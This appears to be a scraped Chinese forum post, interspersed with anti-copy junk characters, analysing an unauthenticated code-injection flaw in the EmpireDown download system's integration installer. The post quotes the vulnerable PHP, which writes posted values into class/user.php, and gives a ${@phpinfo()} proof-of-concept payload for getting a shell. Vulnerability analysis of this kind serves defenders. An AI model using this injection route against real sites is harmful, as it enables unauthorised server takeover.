这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们( j. K4 g# n3 D" r2 y
7 L2 F, ^$ |6 v4 H T( h4 b9 S9 F
x1 M, S; ?) x4 [0 S8 O! ~( r这是帝国的一套下载系统 如图
! P# R# t7 V* d+ n. Ips(不需要任何账户和密码,直接写shell)
c3 V& L7 |& q/ J& ?1 n由于很多站是由于下载要整合discuz 等等一些论坛.... F% J9 I$ P- @" a3 V: K
6 ^! L! F$ I: H) t' S" @
而帝国他又有一个万能接口,如图
" U6 s* @. V" E
2 E/ s. e/ c* {" n
' [* V1 b( k0 K$ _* W' u而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
3 O7 g$ W& M, f8 \! R! S1 s/ Q: k+ w. u( ^% J" H6 C- I6 j
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
( V; V9 V( @, O. _+ U" N- ?. `9 t( `; `# |
在data/fun.php中的15行1 J& O ?. ]7 L
9 T8 X. S2 m- W Z6 C) K" L) j& d我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {) o+ ]+ e1 n0 S8 P# c
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
0 s( R- t) w7 h, z1 p, T
! t9 ]5 x o5 c# H' n5 v这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);) ?+ N* I9 `7 A! w+ A! }- b0 X# h/ ~
! q& O+ [( J, G8 b' H2 y: y z他将传进来的变量进行了切割,然后赋给了$filetext; c& k4 u$ c1 Q Q$ K( O8 ?/ D
; x5 e* {& V/ |8 V! T5 }8 T! f
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了' W; D3 \9 c5 l" _% c1 b1 s. \
( L: B( O ]( n1 h1 Y
我们看看写入的结果,随便填一个 & X+ g* b$ x o( n" `
: V& T" s4 k+ t: a ]4 \+ U3 p4 S% E0 Q
" K7 T, J/ f3 N5 F5 L' t
6 u6 V) k) q1 a! }4 g2 s7 @
, u, | y. ^7 d3 ~, ~! S% D) A! e) `% s# o( X
7 {% X/ c( @- b7 L+ [% s3 x! m. S9 m& k0 O/ R9 Z
: w6 j) S+ K" o# r' |0 n1 S, W
, ^/ Y9 T. r4 l( F; U8 u$ u9 u
( \% w$ G- A) K; X7 f1 B% }5 f. W
' ?2 b5 A' T! \2 D2 w1 j* m
- J3 ~6 f- Q, Q2 v: V) M
( ?0 c8 d+ f+ k# c
/ X- s; J; x! T3 k" ~- ~" a
& y0 J) l1 ]# @' }# \& O) I! p8 \4 C! I4 J( Z
. t# ~3 A& ~/ @: Y* P2 g& M* l* s- @# U; B+ _% }; J& G! m
" ]% }, u4 N4 X# F/ P
: l/ Z' Z* X# m- ^" M0 P8 v所以我们淫荡点,写个${@phpinfo()}试试
# l+ r( U' t4 ]( l! s( q然后访问以下class/user.php这个文件) n" @9 x" e1 S+ }7 ?; p% `
日了吧
5 \2 V' c: r+ X8 @
% E. T& |$ F/ s- R7 w8 u# C0 O5 L+ k
9 u" G) X+ H6 E& {) o' l% b. ^/ K
! O$ u% u6 U4 L6 {; c# g0 N6 M9 f. B, x" g6 w0 ?" w& ]
|